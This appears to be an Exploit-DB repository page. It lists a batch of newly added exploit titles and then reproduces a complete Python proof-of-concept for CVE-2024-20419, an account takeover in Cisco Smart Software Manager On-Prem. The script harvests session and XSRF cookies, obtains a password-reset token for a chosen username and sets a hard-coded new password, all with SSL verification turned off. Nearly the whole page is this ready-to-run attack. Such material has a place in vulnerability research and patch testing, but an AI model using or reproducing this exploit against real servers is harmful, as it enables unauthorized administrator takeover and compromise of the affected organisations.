
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
118 lines
No EOL
3.8 KiB
Python
Executable file
118 lines
No EOL
3.8 KiB
Python
Executable file
# Exploit Title: Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover
|
|
# Google Dork: N/A
|
|
# Date: 21/07/2024
|
|
# Exploit Author: Mohammed Adel
|
|
# Vendor Homepage: https://www.cisco.com
|
|
# Software Link:
|
|
https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/smart-software-manager-satellite/datasheet-c78-734539.html
|
|
# Version: 8-202206 and earlier
|
|
# Tested on: Kali Linux
|
|
# CVE : CVE-2024-20419
|
|
# Security Advisory:
|
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy
|
|
# Technical Analysis: https://www.0xpolar.com/blog/CVE-2024-20419
|
|
|
|
|
|
import requests, sys
|
|
from urllib.parse import unquote
|
|
|
|
# Suppress SSL warnings
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
Domain = sys.argv[1] # Domain, https://0xpolar.com:8443
|
|
Username = sys.argv[2] # Username, by default its [admin]
|
|
password = "Polar@123456780"
|
|
|
|
print("[*] Cisco Smart Software Manager On-Prem")
|
|
print("[*] Account Takeover Exploit")
|
|
print("[*] Target: "+Domain)
|
|
print("[*] Username: "+Username)
|
|
print("\n")
|
|
|
|
print("[*] Getting Necessary Tokens..")
|
|
get_url = Domain+"/backend/settings/oauth_adfs?hostname=polar"
|
|
|
|
response = requests.get(get_url, verify=False)
|
|
|
|
def get_cookie_value(headers, cookie_name):
|
|
cookies = headers.get('Set-Cookie', '').split(',')
|
|
for cookie in cookies:
|
|
if cookie_name in cookie:
|
|
parts = cookie.split(';')
|
|
for part in parts:
|
|
if cookie_name in part:
|
|
return part.split('=')[1].strip()
|
|
return None
|
|
|
|
set_cookie_headers = response.headers.get('Set-Cookie', '')
|
|
|
|
xsrf_token = get_cookie_value(response.headers, 'XSRF-TOKEN')
|
|
lic_engine_session = get_cookie_value(response.headers, '_lic_engine_session')
|
|
|
|
if xsrf_token:
|
|
xsrf_token = unquote(xsrf_token)
|
|
|
|
if not lic_engine_session or not xsrf_token:
|
|
print("Required cookies not found in the response.")
|
|
else:
|
|
print("[+] lic_engine_session: "+lic_engine_session)
|
|
print("[+] xsrf_token: "+xsrf_token)
|
|
print("\n[*] Generating Auth Token")
|
|
post_url = Domain+"/backend/reset_password/generate_code"
|
|
|
|
headers = {
|
|
'Accept': 'application/json',
|
|
'Content-Type': 'application/json',
|
|
'X-Xsrf-Token': xsrf_token,
|
|
'Sec-Ch-Ua': '',
|
|
'Sec-Ch-Ua-Mobile': '?0',
|
|
}
|
|
cookies = {
|
|
'_lic_engine_session': lic_engine_session,
|
|
'XSRF-TOKEN': xsrf_token,
|
|
}
|
|
|
|
payload = {
|
|
'uid': Username
|
|
}
|
|
|
|
post_response = requests.post(post_url, headers=headers, cookies=cookies, json=payload, verify=False)
|
|
|
|
post_response_json = post_response.json()
|
|
auth_token = post_response_json.get('auth_token')
|
|
|
|
if not auth_token:
|
|
print("auth_token not found in the response.")
|
|
else:
|
|
print("[+] Auth Token: "+auth_token)
|
|
print("\n[*] Setting Up a New Password")
|
|
final_post_url = Domain+"/backend/reset_password"
|
|
|
|
final_headers = {
|
|
'Accept': 'application/json',
|
|
'Content-Type': 'application/json',
|
|
'X-Xsrf-Token': xsrf_token,
|
|
}
|
|
final_cookies = {
|
|
'_lic_engine_session': lic_engine_session,
|
|
'XSRF-TOKEN': xsrf_token,
|
|
}
|
|
|
|
final_payload = {
|
|
'uid': Username,
|
|
'auth_token': auth_token,
|
|
'password': password,
|
|
'password_confirmation': password,
|
|
'common_name': ''
|
|
}
|
|
|
|
final_post_response = requests.post(final_post_url, headers=final_headers, cookies=final_cookies, json=final_payload, verify=False)
|
|
response_text = final_post_response.text
|
|
|
|
if "OK" in response_text:
|
|
print("[+] Password Successfully Changed!")
|
|
print("[+] Username: "+Username)
|
|
print("[+] New Password: "+password)
|
|
else:
|
|
print("[!] Something Went Wrong")
|
|
print(response_text) |